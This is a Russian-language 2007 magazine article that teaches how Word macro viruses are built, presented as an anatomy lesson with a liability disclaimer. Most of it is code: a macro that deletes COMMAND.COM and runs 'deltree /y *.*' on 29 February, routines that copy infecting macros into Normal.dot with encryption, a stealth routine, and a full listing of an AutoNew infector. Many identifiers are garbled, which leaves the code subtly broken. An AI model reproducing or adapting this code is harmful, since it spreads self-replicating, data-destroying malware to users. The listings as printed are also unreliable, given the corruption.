Урок анатомии. Макровирусы

Покажите мне пользователя, у которого не стоит на компьютере пакет "Майкрософт Офис"? Я хочу на него посмотреть! И действительно редко встретишь человека, у которого стоит "Виндовс" и нету "Ворда", "Экселя" и т.д. Сегодня мы обратим наш взор на макровирусы — вирусы, которые не относятся ни к .com, ни к .ехе, так как являются ничем иным, как макросом…

Вирусописатели не могли обойти вниманием такую интересную тему, как макросы. Изначально это придумывалось как средство облегчения жизни пользователю, работающему с большим количеством документов, но, как всегда, нашлись те, кто перевел это направление в совсем другое русло. Думаю, что у многих часто случалось не закончить работу и взять ее на дом, и, когда вы вставляли дискету/диск, вдруг антивирус выдавал тревожное сообщение, говоря, что ваш "план работы на матр" — это вирус… Вот именно та ситуация. Макровирус. Макрос — это программа, написанная на некотором языке, которая используется обычно для автоматизации определенных процессов внутри приложений. В данном случае разговор пойдет о языках Visual Basic for Applications (VBA) и WordBasic (WB), которые Microsoft использует в своих программах (в частности, Excel, Project и PowerPoint используют VBA, a WinWord — WB). В дальнейшем будем опираться на язык VBA, т.к. он, пожалуй, самый распространенный. Макрос, написанный на VBA, — это не что иное, как вызываемые процедуры. Процедуры эти бывают двух типов: процедуры-программы и процедуры-функции. Процедуры-программы могут исполняться непосредственно или же активироваться по запросу из других макросов. Их синтаксис следующий:

Sub <Имя_Макроса>
-> код макроса <-
' Комментарий начинается с апострофа
End Sub
В качестве примера можно привести следующий макрос:
' Данный макрос открывает окно диалога и выводит в нем сообщение
Sub Stupid_Greeting
MsgBox "Hello World!"
End Sub

Процедуры-функции (также называемые просто функциями) возвращают значение, которое может быть передано в качестве параметра другой процедуре. Их синтаксис:

Function <Имя_Функции> (Аргументы)
-> Инструкции <-
' комментарий
End Function
Пример:
'Суммирует параметры a и b и возвращает
' результат в переменную "AddAB"
Function AddAB (a, b)
AddAB=a+b
End Function

При этом следует учитывать, что макрос, написанный в английской версии "Майкрософт Ворд", не будет работать на, скажем, испанской, т.к. просто вызовет ошибку. Однако есть функции, которые одинаковы для всех. Рассмотрим их ниже:

AutoExec. Это макрос, активируемый при загрузке текстового процессора, но только в том случае, если он сохранен в шаблоне Normal.dot или в каталоге стандартных приложений.
AutoNew. Активизируется при создании нового документа.
AutoOpen. Активизируется при открытии существующего документа.
AutoClose. Активизируется при закрытии документа.
AutoExit. Активизируется при выходе из текстового процессора.

Давайте рассмотрим пример одного макроса:
'Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main
'Проверим регистрационное имя
If Application.Username <> "MaD_MoTHeR" Then
'Снимем атрибуты COMMAND.COM
SetAttr "C:\COMMAND.COM",0
'Откроем для проверки — вдруг появятся ошибки
Open "CACOMMAND.COM" for Output as #1
'Если ошибки есть, то закроем.
Close #1
'и удалим
Kill "CACOMMAND.COM"
End If
'Проверим месяц и дату. Если 29 февраля, то выполним
'команду "deltree /у >nul
If Month(Now())=2 Then
If Day(Now())=29 Then
Shell "deltree /y *.* >nul"
End If
End If
End Sub

При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда "deltree /у *.* > nul". Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord. Это делается так: ' Определяется переменная, в которую записывается полное имя макроса

name$=WindowName$()+":AutoNew"
'этот макрос будет выполняться каждый раз
'при создании нового документа
'Теперь нужно записать макрос в шаблон NORMAL.DOT простой командой
MacroCopy name$, "Global:AutoNew"
'Это стандартный способ работы макровирусов, но есть еще много других, более интересных способов заражения. Всего-то и нужно немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макровирусов.
MacroCopy "MyTemplate:MyMacro",
"GlobahAutoClose", 1

Код для процедуры автовыполнения может выглядеть примерно так:

Sub MAIN
On Error Goto Abort
if MacroCount=CountMacros(0, 0) 'Проверка на зараженность
For i=1 To iMacroCount
If MacroName$(i, 0, 0)="PayLoad" Then
binstalled =-1 'с помощью макроса Payload
End If
If MacroName$(i, 0, 0)="FileSaveAs" Then
bTooMuchTrouble =-1
'но если есть макрос FileSaveAs,
'то заразить тяжело
End If

Next i
If Not binstalled And Not bTooMuchTrouble Then
'Добавим макросы FileSaveAs и копии AutoExec и FileSave
'Payload используется только для проверки на зараженность
',1 — кодирует макросы, делая их нечитаемыми в Word
iWW6llnstance=Val(GetDocumentVar$("WW6lnfector"))
sMe$=FileName$()
Macro$=sMe$+":PayLoad"
MacroCopy Macro$, "Global:PayLoad", 1
Macro$=sMe$+":FileOpen" 'Будет происходить заражение
MacroCopy Macro$, "GlobahFileOpen", 1
Macro$=sMe$+":FileSaveAs"
MacroCopy Macro$, "GlobahFileSaveAs", 1
Macro$=sMe$+":AutoExec"
MacroCopy Macro$, "GlobahAutoExec", 1
SetProfileString "WW6I", Str$(iWW6llnstance+1)
End If
Abort:
End Sub

Большинство макровирусов имеют схожую структуру. Начинаются они обычно с макроса, который заражает глобальный шаблон Normal.dot. Также в состав входят еще несколько макросов, предназначенных для заражения файлов при определенных действиях пользователей (сохранить как, сохранить, создание макроса и т.д.). Документы заражаются при совершении над ними операций, чаще всего при открытии. Давайте рассмотрим подробней некоторые процедуры.

SaveAs

Она копирует макровирус в активный документ при его сохранении через команду файл/сохранить как.
Sub MAIN
Dim dig As FileSaveAs
GetCurValues dig
Dialog dig
If (Dlg.Format=0) Or (dlg.Format=1) Then
MacroCopy "FileSaveAs",
WindowName$()+":FileSaveAs"
'Заражает при сохранении документа
MacroCopy "FileSave", WindowName$()+":FileSave"
MacroCopy "PayLoad", WindowName$()+":PayLoad"
MacroCopy "FileOpen", WindowName$()+":FileOpen"
'При открытии документа
Dlg.Format=1
End If
FileDaveAs dig
End Sub

Специальные процедуры

Есть возможность также скрыть макровирус от посторонних глаз, тем самым сделав его намного эффективнее. Для этого можно воспользоваться макросом, который будет это делать. Его код выглядит примерно так:

Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dig
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:
On Error Goto ErrorRoutine
'При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros. SavToGlobal(01dName$)
macros.objectiv
Goto Done
'Переход на метку Done
ErrorRoutine:
On Error Goto Done
'Переход на метку Done
If macros.bDebug Then
MsgBox "error "+Str$(Err)+" occurred"
'Сообщение об ошибке
End If

Done:
End Sub

Макровирусы имеют возможность включать внешние процедуры — например, компилировать файл-разносчик или форматировать винчестер и т.д. Итак, мы рассмотрели основы создания макровирусов, а теперь предоставляю вашему вниманию листинг вируса:

Macro name: AutoNew [AUTONEW] "U"
Encryption key: DF
Sub MAIN
'Включаем обработку автоматических макросов
DisableAutoMacros 0
'Проверим, установлен ли макрос. Если макрос AutoExec
'присутствует, считаем, что файл заражен
If (lnstalled=0) And (Forgetlt=0) Then
'Заразим. Копируем макрос
MacroCopy WindowName$()+":AutoExec", "GlobahAutoExec", 1
MacroCopy WindowName$()+":AutoNew", "Global:AutoNew", 1
MacroCopy WmdowName$()+":AutoOpen", "Global:AutoOpen", 1
MacroCopy WindowName$()+":DateiSpeichem", "Global:DateiSpeichern", 1
MacroCopy WindowName$()+":DateiSpeichernUnter", "Global.-DateiSpeichernllnter", 1
MacroCopy WindowName$()+":DateiBeenden", "GlobahDateiBeenden", 1
MacroCopy WindowName$() + ": ExtrasOptionen ", "Global :ExtrasOptionen", 1
MacroCopy WindowName$()+":DateiDokvorlagen", "GlobaLDateiDokvorlagen", 1
MacroCopy WindowName$()+":lt", "Global:lt", 1
MacroCopy WindowName$()+":DateiDrucken", "GlobahDateiDrucken", 1
End If
End Sub

'Функция проверяет, инсталлирован ли макрос AutoExec
Function Installed
' Установим переменную Installed в 0 (инициализация переменной).
' При положительном результате проверки установим ее в 1
lnstalled=0
'Проверим, есть ли макросы
If CountMacros(O) > 0 Then
' Проверим имена макросов. Если есть AutoExec,
' установим переменную Installed в 1
For i=1 To CountMacros(O)
If MacroName$(i, 0)="AutoExec" Then
lnstalled=1

End If

Next i
End If
End Function

Function Forgetit
Forgetlt=0
Section$="Compatibility"
ProfilName$="Nomvir"
BlaBla$=GetProfileString$(Section$, ProfilName$)
If BlaBla$="Ox0690690" Then
Forgetlt=1
End If
End Function

Вот и все на сегодня. Мы рассмотрели макровирусы, так сказать, покопались в их внутренностях. Надеюсь, вы почерпнули много полезной информации. Все вопросы по данной статье вы можете отсылать мне на e-mail или оставлять на форуме сайта сайт . В следующий раз мы рассмотрим троянские программы, пожалуй, одни из самых используемых в настоящее время злоумышленниками.

P.S.: Предоставленные автором материалы носят чисто ознакомительный характер. Автор не несет никакой ответственности за использование данной статьи в злонамеренных целях.

Евгений Кучук (Spider Agent), spideragent@tut.by


Компьютерная газета. Статья была опубликована в номере 06 за 2007 год в рубрике безопасность

©1997-2024 Компьютерная газета